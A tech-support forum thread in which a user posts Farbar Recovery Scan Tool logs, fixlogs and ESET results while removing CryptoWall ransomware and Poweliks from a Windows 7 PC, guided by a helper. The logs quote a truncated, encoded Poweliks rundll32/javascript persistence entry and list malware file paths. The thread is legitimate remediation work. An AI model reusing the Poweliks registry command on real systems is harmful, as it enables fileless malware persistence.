Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\HELP_DECRYPT.URL

"C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory move:

Could not move "C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory. => Scheduled to move on reboot.

========= DEL /Q /F /S C:\HELP_DECRYPT* =========


----------



## timmy12342 (Mar 7, 2015)

Farbar Recovery Scan Tool (x86) Version: 11-03-2015
Ran by Tim at 2015-03-11 17:24:27
Running from C:\Users\Tim\Downloads
Boot Mode: Normal

================== Search Files: "services.exe" =============

C:\Windows\winsxs\x86_microsoft-windows-s..s-servicecontroller_31bf3856ad364e35_6.1.7600.16385_none_cf36168b2e9c967b\services.exe
[2009-07-13 19:11][2009-07-13 21:14] 0259072 ____A (Microsoft Corporation) [File is signed]

C:\Windows\System32\services.exe
[2009-07-13 19:11][2014-08-04 19:40] 0264192 ____A (Microsoft Corporation)

====== End Of Search ======


----------



## timmy12342 (Mar 7, 2015)

This is the end of the fixlog sorry about that

Could Not Find C:\HELP_DECRYPT*

========= End of CMD: =========

=> Result of Scheduled Files to move (Boot Mode: Normal) (Date&Time: 2015-03-11 18:10:16)<=

==> ATTENTION: System is not rebooted.
"C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" => Directory could not move.

==== End of Fixlog 18:10:19 ====


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 11-03-2015
Ran by Tim (administrator) on TIM-PC on 11-03-2015 18:12:21
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\PresentationHost.exe
(Microsoft Corporation) C:\Windows\System32\wuauclt.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dpnsvr.exe
(Microsoft Corporation) C:\Windows\System32\dplaysvr.exe
(Microsoft Corporation) C:\Windows\System32\fixmapi.exe
(Microsoft Corporation) C:\Windows\System32\dllhst3g.exe
(Microsoft Corporation) C:\Windows\System32\fixmapi.exe
(Microsoft Corporation) C:\Windows\System32\dpnsvr.exe
(Microsoft Corporation) C:\Windows\System32\upnpcont.exe
(Microsoft Corporation) C:\Windows\System32\dplaysvr.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [135168 2015-03-11] ()
HKLM\...\Run: [svcav_module] => C:\Users\Tim\AppData\Roaming\pmvoafw.exe [167936 2015-03-10] ()
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"xqhiw8\..\mshtml,RunHTMLApplication ";eval("gww7<[email protected])#VRbshqu (the data entry has 27922 more characters). <==== Poweliks!
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (No Name) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

S2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
S2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)
S2 googleupdate; C:\Windows\LaRnaefG.exe [X]

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
S3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-10] (Malwarebytes Corporation)
S3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-11 17:16 - 2015-03-11 17:16 - 00004412 _____ () C:\Users\Tim\Downloads\fixlist.txt
2015-03-10 22:31 - 2015-03-11 17:17 - 00135664 _____ () C:\Users\Tim\AppData\Roaming\log.html
2015-03-10 22:31 - 2015-03-10 22:31 - 00000648 _____ () C:\Users\Tim\AppData\Roaming\key.dat
2015-03-10 22:31 - 2015-03-10 22:25 - 00167936 _____ () C:\Users\Tim\AppData\Roaming\pmvoafw.exe
2015-03-10 22:14 - 2015-03-11 17:33 - 00000581 _____ () C:\Users\Tim\Downloads\Search.txt
2015-03-10 20:13 - 2015-03-11 17:15 - 00000153 _____ () C:\Users\Tim\AppData\Local\svcxdcl32.dat
2015-03-10 19:12 - 2015-03-10 19:12 - 00000000 ____D () C:\Windows\FrameworkUpdate
2015-03-10 13:19 - 2015-03-10 13:20 - 00709564 _____ () C:\Users\Tim\Downloads\delfix_10.8.exe
2015-03-08 20:49 - 2015-03-10 13:13 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-11 17:17 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005296 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
2015-03-08 15:21 - 2015-03-10 20:14 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 14:57 - 2015-03-08 15:17 - 00805792 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:30 - 2015-03-11 17:24 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-10 19:11 - 00025600 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-10 19:11 - 00017136 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-11 18:12 - 00006797 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-11 18:12 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-11 17:17 - 01135104 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-05 20:07 - 2015-03-11 17:15 - 00000000 ___HD () C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-08 22:25 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-11 17:52 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-11 17:28 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-11 17:28 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-11 17:24 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-11 17:24 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-11 17:17 - 2014-04-21 20:11 - 00000000 ____D () C:\ProgramData\InstallMate
2015-03-11 17:17 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-11 17:17 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1
2015-03-11 17:17 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-11 17:14 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-11 17:14 - 2009-07-14 00:39 - 00025968 _____ () C:\Windows\setupact.log
2015-03-10 23:58 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-10 22:31 - 2014-04-06 20:16 - 00000000 ____D () C:\Program Files\Grand Parker Casino
2015-03-10 22:31 - 2014-02-23 19:51 - 00000000 ____D () C:\Program Files\iPod
2015-03-10 22:11 - 2014-03-17 19:14 - 00046150 _____ () C:\Windows\PFRO.log
2015-03-08 22:34 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-08 22:34 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-08 22:33 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-08 22:29 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-08 22:28 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Files in the root of some directories =======

2014-09-14 20:12 - 2014-09-14 20:12 - 0252240 _____ (Microsoft Corporation) C:\Users\Tim\AppData\Roaming\BtvStack.dll
2015-03-10 22:31 - 2015-03-10 22:31 - 0000648 _____ () C:\Users\Tim\AppData\Roaming\key.dat
2015-03-10 22:31 - 2015-03-11 17:17 - 0135664 _____ () C:\Users\Tim\AppData\Roaming\log.html
2015-03-10 22:31 - 2015-03-10 22:25 - 0167936 _____ () C:\Users\Tim\AppData\Roaming\pmvoafw.exe
2015-03-10 20:13 - 2015-03-11 17:15 - 0000153 _____ () C:\Users\Tim\AppData\Local\svcxdcl32.dat

Some content of TEMP:
====================
C:\Users\Tim\AppData\Local\Temp\defrag.exe
C:\Users\Tim\AppData\Local\Temp\disktool.exe

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe
[2009-07-13 19:11] - [2014-08-04 19:40] - 0264192 ____A (Microsoft Corporation) 0EAA9484A9DEC81C45559912309EAA8F

C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## JSntgRvr (Jul 1, 2003)

Were you able to run ESSET?

Please download the attached file and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.


----------



## timmy12342 (Mar 7, 2015)

I am in the process of running ESET. It is scanning now. It's been going for a few hours, but it is working. Cryptowall keeps coming back though. I will post ESET log and a new FRST log asap. Thank you again for your help.


----------



## timmy12342 (Mar 7, 2015)

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x86) Version: 11-03-2015
Ran by Tim at 2015-03-12 00:15:04 Run:9
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Boot Mode: Normal

==============================================

Content of fixlist:
*****************
Start
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"xqhiw8\..\mshtml,RunHTMLApplication ";eval("gww7<[email protected])#VRbshqu (the data entry has 27922 more characters). <==== Poweliks!
HKLM\...\Run: [svcav_module] => C:\Users\Tim\AppData\Roaming\pmvoafw.exe [167936 2015-03-10] ()
C:\Users\Tim\AppData\Roaming\pmvoafw.exe
C:\Users\Tim\AppData\Local\Temp\defrag.exe
C:\Users\Tim\AppData\Local\Temp\disktool.exe
Replace: C:\Windows\winsxs\x86_microsoft-windows-s..s-servicecontroller_31bf3856ad364e35_6.1.7600.16385_none_cf36168b2e9c967b\services.exe C:\Windows\System32\services.exe
CustomCLSID: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{56CBD3CF-BF99-4DF5-851F-F5B9B57496A1}\InprocServer32 -> C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}\fwcfg.dll (Microsoft Corporation)
C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
End
*****************

"HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32" => Key Deleted Successfully.
"HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" => Key deleted successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\svcav_module => value deleted successfully.
C:\Users\Tim\AppData\Roaming\pmvoafw.exe => Moved successfully.
C:\Users\Tim\AppData\Local\Temp\defrag.exe => Moved successfully.
C:\Users\Tim\AppData\Local\Temp\disktool.exe => Moved successfully.
C:\Windows\System32\services.exe => Moved successfully.
C:\Windows\winsxs\x86_microsoft-windows-s..s-servicecontroller_31bf3856ad364e35_6.1.7600.16385_none_cf36168b2e9c967b\services.exe copied successfully to C:\Windows\System32\services.exe
"HKU\S-1-5-21-1360264287-3610818973-3505073857-1000_Classes\CLSID\{56CBD3CF-BF99-4DF5-851F-F5B9B57496A1}" => Key deleted successfully.

"C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory move:

Could not move "C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory. => Scheduled to move on reboot.

=> Result of Scheduled Files to move (Boot Mode: Normal) (Date&Time: 2015-03-12 00:15:53)<=

C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4} => Is moved successfully.

==== End of Fixlog 00:15:53 ====


----------



## JSntgRvr (Jul 1, 2003)

Please re-scan with FRST andpost a new FRST.txt log.


----------



## timmy12342 (Mar 7, 2015)

C:\ProgramData\JiglEduvj\NereWheq.lnk Win32/PSW.Papras.DU trojan 
C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\ProgramData\Microsoft\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\ProgramData\Microsoft\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\ProgramData\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\ProgramData\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\All Users\JiglEduvj\NereWheq.lnk Win32/PSW.Papras.DU trojan 
C:\Users\All Users\Microsoft\RAC\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\All Users\Microsoft\RAC\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\All Users\Microsoft\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\All Users\Microsoft\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\All Users\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
C:\Users\All Users\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\c45mmhGVYS[1].exe a variant of Win32/Injector.BHXF trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\co[1].htm HTML/Iframe.B.Gen virus 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\d[1] a variant of Win32/Small.NJX trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c449dc9b0421405372892[1].exe a variant of Win32/Injector.BHXM trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\e53c82c16437a51405627414[1].exe a variant of Win32/Injector.BIEN trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\IA6nhaGtsF[1].exe a variant of Win32/Kryptik.CGOQ trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\ie8910[1].htm JS/Exploit.Agent.NFC trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[1].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[2].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[3].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[4].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[5].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\logos[6].php Win32/Kovter.A trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[1].php a variant of MSIL/Injector.EJJ trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[2].php Win32/TrojanDownloader.Zurgop.BH trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[3].php Win32/TrojanDownloader.Zurgop.BH trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8L070KEK\paper[4].php Win32/TrojanDownloader.Zurgop.BH trojan 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8RA779V0\co[1].htm HTML/Iframe.B.Gen virus 
C:\Users\Tim\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F99ZVS39\5c84b2e119f7faec6119b63fc1832181[1].htm JS/Exploit.Agent.NGD trojan 
